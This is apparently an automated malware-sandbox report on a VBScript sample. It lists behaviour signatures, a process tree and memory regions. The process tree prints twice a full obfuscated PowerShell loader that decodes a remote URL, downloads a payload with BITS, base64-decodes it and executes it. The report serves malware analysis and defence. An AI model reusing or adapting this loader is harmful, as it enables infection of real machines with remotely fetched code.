Analysis

  • max time kernel
    93s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/02/2024, 02:52

General

  • Target
    4899cdb23cf206532e2ccfe1eb170256012e2ee7664a89e5472e52f2a6274001.vbs
  • Size 36KB
  • Sample240213-dcybnseb82
  • SHA256 4899cdb23cf206532e2ccfe1eb170256012e2ee7664a89e5472e52f2a6274001
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4899cdb23cf206532e2ccfe1eb170256012e2ee7664a89e5472e52f2a6274001.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3932
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sengetj;function Inacho37 ($Reunitea, $Stasop, $Unre) {$Reunitea.'Substring'( $Stasop, $Unre);}Function Over9 ([String]$Leadoffe){For($Boilers=5; $Boilers -lt $Leadoffe.Length-$Camp; $Boilers+=6){$Concisely=Inacho37 $Leadoffe $Boilers $Camp;$Finans=$Finans+$Concisely}$Finans;}$Sneboldeff = 'tzutil /l';$Skva44 = (cmd /c $Sneboldeff);$Skva44 = [string]$Skva44;$BoilersNDICE = $Skva44.indexOf('1');$Camp = Inacho37 $Skva44 $BoilersNDICE 1;$Nonp=Over9 ' kanihFejletScopotNonacp Arbi:Amphi/Forel/Chowc4Fileh6 Spkl.kongs1Udann8 Udtr3 Hair.Prepr2neate2Udspi2 Indu.Trafi1Bakni9retsm/MandeOHalitpSalumsAssesvSkggeuTikrolForfamFirepeRabbi.ValutdUncons ImpopHypno ';$Finans01=Over9 'PensiiAncreeGeorgx Stud ';$Samsskb = Over9 'Epupi\HandlsSamaryDistesStenmwNonmeoUnattw Bere6 Glos4Bejds\EcuadWAbonniHypernRadiadCacozoPermuwkardisSvajnP PlatoCapmawForpre AflurPhoenSLscflh FrisejaloulBlentlEksam\ ConfvChatt1Yndig.Storl0 Naga\IfsvipHouseo Duftw CasaeSammerPtsmksPatenhdualieStrobl Pyralcremn.NoneveDobbexAssemeradia ';&($Finans01) (Over9 'Overi$MinimSOverlpUtjeklFolinaFlove2Konfi= Rang$Syphie RevinSyllavAftvi:ExcitwNongiiKrambn UnredDiethiMultir Oven ') ;&($Finans01) (Over9 'Dyret$BrnepSTypogaBlokhmJugulsWinchsTumpfkBordebTubif=Under$ AnsvS EnfepLnsitlSurbeaHiero2Ynksm+Playm$ObskuSEkspaaSneplmPrints Fetas WaylkBenthbTrdes ') ;&($Finans01) (Over9 ' Fore$BegreELindekGatatsFoalte UndemGentopKendteAfbinl nicktMinimeSkovr Renab=Talni Kile(Betvi(PippigBitinwChirpm Stati Affa Sakfrwpreeli EchonUnbud3Resse2Atlas_Calypp Cowhr Blaco DreacKonfre TrlasKorrespanda Trans-FabriFCynop IncesPPakkergtebaoSignicSakkae SoeesSkibssCamelIEksisdUdbyt=Salmi$Plund{ KokePAppliIdysmoDfloru} Aand)Desmo.fueloCstilloSkatomRestamTerriaDitzinKortsdFaceoLStkkeiDisapnAdelaeFremm)repeo Borta-BinghsLnindpHanknlStvneiOverstBrogu Tocc[Tronpc NasthPinseaKunstrCorom]Barne3Cyber4Throu ');&($Finans01) (Over9 ' Undi$FolkeS EpippUnyttiSubcodSlabbsProgrfViden slurr=Terat Cusks$podiaEGumbokcincisChefge JaegmShintpSkulpeRdarvlOverst VexieDunie[Julek$ PleaE MedikGendasDipheemarblmUnsabpYeshie Foldl UbebtBabaje Lyci. ExcrcNauruoEmoluukropdnSpaketPrime-Prang2Uviss]Stere ');&($Finans01) (Over9 ' Poli$VelseOKagesmIndisdTrersa MicrnUnivenstifieAnoin=Miens(EmneaTGynece RevisExtrat Adko-ProabPHelbeaSkindtAtonah Indk Stop$HerniSTeskeaSarksm Tryks StjrsArithkHelmhbBudbr)Gulli Hjemm-SnerlA impanBraildBevid Virus(Umtte[TumliIAvancnUnsedt UnasPPyopot Forrr Fore]Vrels:Doles:FoamssSgersiStenuzjerngeLakfj Tribo-OutpoeBrdflqOpsge Sheat8Fuelo)Suben ') ;if ($Omdanne) {.$Samsskb $Spidsf;} else {;$Finans00=Over9 'BanglSPirogtTuensaLbetirNonintKontr-KlemsBRealliSammetOlietsUnfeaTTuladrAldidaForannCoryds richfStraneKashurKryds Fangi-KutenS CapooBrahmu StdprPantec Kirtebarbe Modta$ UndsNNeedloUlykknRansop Expe Dehy-BrsigDrivuleUdbansHighbttruehiJrginnDemora FlagtHasteiPlagso sapinIlsom Engel$AutenSBusfapTrimelfeveraItali2Encho ';&($Finans01) (Over9 'Super$MaddiSubeslp SvenlVerdiaTilgr2Fodbo=Ethox$CotereAgurknSalgsvarche: UnosaVinstpSonorpZoomodstropa KdvatCorpoaHafto ') ;&($Finans01) (Over9 'MisusIKoldtmHydropBorgmoDonumrDiplotWaggo-BrillMOndsioSkuffdFactuuFyldelInsipe Yata PantaBtilegi EvoltSorelsKorneTbommerFrilgaCyclonWcspesTrafifLabileoverirDiest ') ;$Spla2=$Spla2+'\Stat.Kol';while (-not $Retankam) {&($Finans01) (Over9 ' Paal$aedilRCodife CurstunscaaDolkenPyocykAnisbaStokemSkrib=Likvi( ProlTSuggeeAntimsUnunitRaind-StanzP EuchaHovmotRetaihKalkm taans$SociaSAorispUnderlOutlaaJoyle2Bejez)Canke ') ;&($Finans01) $Finans00;&($Finans01) (Over9 'LouanSangultIndicaTilfgrCommetKosmo-IndsnSStrstlCorcleSejrveLnnedppapir Data5Andan ');}&($Finans01) (Over9 'raads$StvniOalithv CauleFidgerGoldi Uddat=Paris FiredGProcoeMadrot Vari- TitlCSociaoTekstn DemitFedesePageunMervrtAtloa Dyrk$SidegSBlystpSlutnl BarcaSulfo2Planl ');&($Finans01) (Over9 'Ricin$StenrOFormsp Bisca TranlRedigiKnscesOzenahBefjeb Snoo Span=Forst laang[TelynSGliocyBaldasSursytTonjoe FucomIntim.FlamlCHemitoHalvmnThailvNonnaeTaarnrPaedat Wrok]otone:Nycta:UntakFMultir Muddooctylm BathBCarpoaRivers GobeeLysim6Forli4OstenSBismet AbutrBaulkiRunklnDatalgTapet(Prest$ ukriOSupervEskadeBdestrEyela)Lensa ');&($Finans01) (Over9 'Locat$BurdaFHusleiMelapnShowwa Shinn MarasUddel2 Seve Polic= Circ Betyd[FloodS BefjyOverssBlaaftOwetieFuldkmFlett.VicedTCentieHnsehxDyssetOpgav.FarefEKnippn AcrocAntidoNonindtelcoi BelunGlutigDeskr]Barth:Bibli: ShivA PersSOutseCYnderIterseIPhleb. OrbiGJingleRvenstQuadrSFattitAtmenrKnighiCarbunRevsegCladd(Tilnr$ BillOUdslapFrdigaOverkl AutoiKetipssuccohRectibIndst)Powde ');&($Finans01) (Over9 ' Flyb$FremsCDenasuPejlepLadyeufjtedlDdsfo=Oryde$AtabeFTitiliSpatinUdspeaFyrafnObskus Skva2Mccal.Forans LobeuBoatlbnitros Rorkt BurirAllitiDemognFrnutgSomat(Marri2Fedts9udvik8Sygev4Convo4Hidti5Indse,Video1outta9Angel4Forpe1Aabni9 Unde) Staa ');&($Finans01) $Cupul;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1984
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "tzutil /l"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3152
        • C:\Windows\system32\tzutil.exe
          tzutil /l
          4⤵
            PID:1516
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$sengetj;function Inacho37 ($Reunitea, $Stasop, $Unre) {$Reunitea.'Substring'( $Stasop, $Unre);}Function Over9 ([String]$Leadoffe){For($Boilers=5; $Boilers -lt $Leadoffe.Length-$Camp; $Boilers+=6){$Concisely=Inacho37 $Leadoffe $Boilers $Camp;$Finans=$Finans+$Concisely}$Finans;}$Sneboldeff = 'tzutil /l';$Skva44 = (cmd /c $Sneboldeff);$Skva44 = [string]$Skva44;$BoilersNDICE = $Skva44.indexOf('1');$Camp = Inacho37 $Skva44 $BoilersNDICE 1;$Nonp=Over9 ' kanihFejletScopotNonacp Arbi:Amphi/Forel/Chowc4Fileh6 Spkl.kongs1Udann8 Udtr3 Hair.Prepr2neate2Udspi2 Indu.Trafi1Bakni9retsm/MandeOHalitpSalumsAssesvSkggeuTikrolForfamFirepeRabbi.ValutdUncons ImpopHypno ';$Finans01=Over9 'PensiiAncreeGeorgx Stud ';$Samsskb = Over9 'Epupi\HandlsSamaryDistesStenmwNonmeoUnattw Bere6 Glos4Bejds\EcuadWAbonniHypernRadiadCacozoPermuwkardisSvajnP PlatoCapmawForpre AflurPhoenSLscflh FrisejaloulBlentlEksam\ ConfvChatt1Yndig.Storl0 Naga\IfsvipHouseo Duftw CasaeSammerPtsmksPatenhdualieStrobl Pyralcremn.NoneveDobbexAssemeradia ';&($Finans01) (Over9 'Overi$MinimSOverlpUtjeklFolinaFlove2Konfi= Rang$Syphie RevinSyllavAftvi:ExcitwNongiiKrambn UnredDiethiMultir Oven ') ;&($Finans01) (Over9 'Dyret$BrnepSTypogaBlokhmJugulsWinchsTumpfkBordebTubif=Under$ AnsvS EnfepLnsitlSurbeaHiero2Ynksm+Playm$ObskuSEkspaaSneplmPrints Fetas WaylkBenthbTrdes ') ;&($Finans01) (Over9 ' Fore$BegreELindekGatatsFoalte UndemGentopKendteAfbinl nicktMinimeSkovr Renab=Talni Kile(Betvi(PippigBitinwChirpm Stati Affa Sakfrwpreeli EchonUnbud3Resse2Atlas_Calypp Cowhr Blaco DreacKonfre TrlasKorrespanda Trans-FabriFCynop IncesPPakkergtebaoSignicSakkae SoeesSkibssCamelIEksisdUdbyt=Salmi$Plund{ KokePAppliIdysmoDfloru} Aand)Desmo.fueloCstilloSkatomRestamTerriaDitzinKortsdFaceoLStkkeiDisapnAdelaeFremm)repeo Borta-BinghsLnindpHanknlStvneiOverstBrogu Tocc[Tronpc NasthPinseaKunstrCorom]Barne3Cyber4Throu ');&($Finans01) (Over9 ' Undi$FolkeS EpippUnyttiSubcodSlabbsProgrfViden slurr=Terat Cusks$podiaEGumbokcincisChefge JaegmShintpSkulpeRdarvlOverst VexieDunie[Julek$ PleaE MedikGendasDipheemarblmUnsabpYeshie Foldl UbebtBabaje Lyci. ExcrcNauruoEmoluukropdnSpaketPrime-Prang2Uviss]Stere ');&($Finans01) (Over9 ' Poli$VelseOKagesmIndisdTrersa MicrnUnivenstifieAnoin=Miens(EmneaTGynece RevisExtrat Adko-ProabPHelbeaSkindtAtonah Indk Stop$HerniSTeskeaSarksm Tryks StjrsArithkHelmhbBudbr)Gulli Hjemm-SnerlA impanBraildBevid Virus(Umtte[TumliIAvancnUnsedt UnasPPyopot Forrr Fore]Vrels:Doles:FoamssSgersiStenuzjerngeLakfj Tribo-OutpoeBrdflqOpsge Sheat8Fuelo)Suben ') ;if ($Omdanne) {.$Samsskb $Spidsf;} else {;$Finans00=Over9 'BanglSPirogtTuensaLbetirNonintKontr-KlemsBRealliSammetOlietsUnfeaTTuladrAldidaForannCoryds richfStraneKashurKryds Fangi-KutenS CapooBrahmu StdprPantec Kirtebarbe Modta$ UndsNNeedloUlykknRansop Expe Dehy-BrsigDrivuleUdbansHighbttruehiJrginnDemora FlagtHasteiPlagso sapinIlsom Engel$AutenSBusfapTrimelfeveraItali2Encho ';&($Finans01) (Over9 'Super$MaddiSubeslp SvenlVerdiaTilgr2Fodbo=Ethox$CotereAgurknSalgsvarche: UnosaVinstpSonorpZoomodstropa KdvatCorpoaHafto ') ;&($Finans01) (Over9 'MisusIKoldtmHydropBorgmoDonumrDiplotWaggo-BrillMOndsioSkuffdFactuuFyldelInsipe Yata PantaBtilegi EvoltSorelsKorneTbommerFrilgaCyclonWcspesTrafifLabileoverirDiest ') ;$Spla2=$Spla2+'\Stat.Kol';while (-not $Retankam) {&($Finans01) (Over9 ' Paal$aedilRCodife CurstunscaaDolkenPyocykAnisbaStokemSkrib=Likvi( ProlTSuggeeAntimsUnunitRaind-StanzP EuchaHovmotRetaihKalkm taans$SociaSAorispUnderlOutlaaJoyle2Bejez)Canke ') ;&($Finans01) $Finans00;&($Finans01) (Over9 'LouanSangultIndicaTilfgrCommetKosmo-IndsnSStrstlCorcleSejrveLnnedppapir Data5Andan ');}&($Finans01) (Over9 'raads$StvniOalithv CauleFidgerGoldi Uddat=Paris FiredGProcoeMadrot Vari- TitlCSociaoTekstn DemitFedesePageunMervrtAtloa Dyrk$SidegSBlystpSlutnl BarcaSulfo2Planl ');&($Finans01) (Over9 'Ricin$StenrOFormsp Bisca TranlRedigiKnscesOzenahBefjeb Snoo Span=Forst laang[TelynSGliocyBaldasSursytTonjoe FucomIntim.FlamlCHemitoHalvmnThailvNonnaeTaarnrPaedat Wrok]otone:Nycta:UntakFMultir Muddooctylm BathBCarpoaRivers GobeeLysim6Forli4OstenSBismet AbutrBaulkiRunklnDatalgTapet(Prest$ ukriOSupervEskadeBdestrEyela)Lensa ');&($Finans01) (Over9 'Locat$BurdaFHusleiMelapnShowwa Shinn MarasUddel2 Seve Polic= Circ Betyd[FloodS BefjyOverssBlaaftOwetieFuldkmFlett.VicedTCentieHnsehxDyssetOpgav.FarefEKnippn AcrocAntidoNonindtelcoi BelunGlutigDeskr]Barth:Bibli: ShivA PersSOutseCYnderIterseIPhleb. OrbiGJingleRvenstQuadrSFattitAtmenrKnighiCarbunRevsegCladd(Tilnr$ BillOUdslapFrdigaOverkl AutoiKetipssuccohRectibIndst)Powde ');&($Finans01) (Over9 ' Flyb$FremsCDenasuPejlepLadyeufjtedlDdsfo=Oryde$AtabeFTitiliSpatinUdspeaFyrafnObskus Skva2Mccal.Forans LobeuBoatlbnitros Rorkt BurirAllitiDemognFrnutgSomat(Marri2Fedts9udvik8Sygev4Convo4Hidti5Indse,Video1outta9Angel4Forpe1Aabni9 Unde) Staa ');&($Finans01) $Cupul;}"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:208
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "tzutil /l"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1468
            • C:\Windows\SysWOW64\tzutil.exe
              tzutil /l
              5⤵
                PID:1980
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 208 -s 2588
              4⤵
              • Program crash
              PID:2748
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 208 -ip 208
        1⤵
          PID:1348

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              __PSScriptPolicyTest_pvaxbok4.ep3.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pvaxbok4.ep3.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              memory/208-29-0x0000000006140000-0x0000000006494000-memory.dmp

              memory/208-17-0x0000000005890000-0x00000000058B2000-memory.dmp

              memory/208-39-0x0000000074AC0000-0x0000000075270000-memory.dmp

              memory/208-12-0x0000000002E40000-0x0000000002E76000-memory.dmp

              memory/208-13-0x0000000074AC0000-0x0000000075270000-memory.dmp

              memory/208-14-0x00000000053E0000-0x00000000053F0000-memory.dmp

              memory/208-15-0x00000000053E0000-0x00000000053F0000-memory.dmp

              memory/208-30-0x0000000006760000-0x000000000677E000-memory.dmp

              memory/208-38-0x0000000007E70000-0x0000000007E84000-memory.dmp

              memory/208-19-0x0000000006050000-0x00000000060B6000-memory.dmp

              memory/208-37-0x0000000007DE0000-0x0000000007E02000-memory.dmp

              memory/208-18-0x0000000005930000-0x0000000005996000-memory.dmp

              memory/208-16-0x0000000005A20000-0x0000000006048000-memory.dmp

              memory/208-31-0x00000000067A0000-0x00000000067EC000-memory.dmp

              memory/208-33-0x0000000006D50000-0x0000000006D6A000-memory.dmp

              memory/208-32-0x0000000008140000-0x00000000087BA000-memory.dmp

              memory/208-35-0x0000000007970000-0x0000000007992000-memory.dmp

              memory/208-36-0x00000000087C0000-0x0000000008D64000-memory.dmp

              memory/208-34-0x0000000007A10000-0x0000000007AA6000-memory.dmp

              memory/1984-7-0x00007FF9FED20000-0x00007FF9FF7E1000-memory.dmp

              memory/1984-5-0x0000023595840000-0x0000023595862000-memory.dmp

              memory/1984-11-0x00000235ADEF0000-0x00000235ADF00000-memory.dmp

              memory/1984-42-0x00007FF9FED20000-0x00007FF9FF7E1000-memory.dmp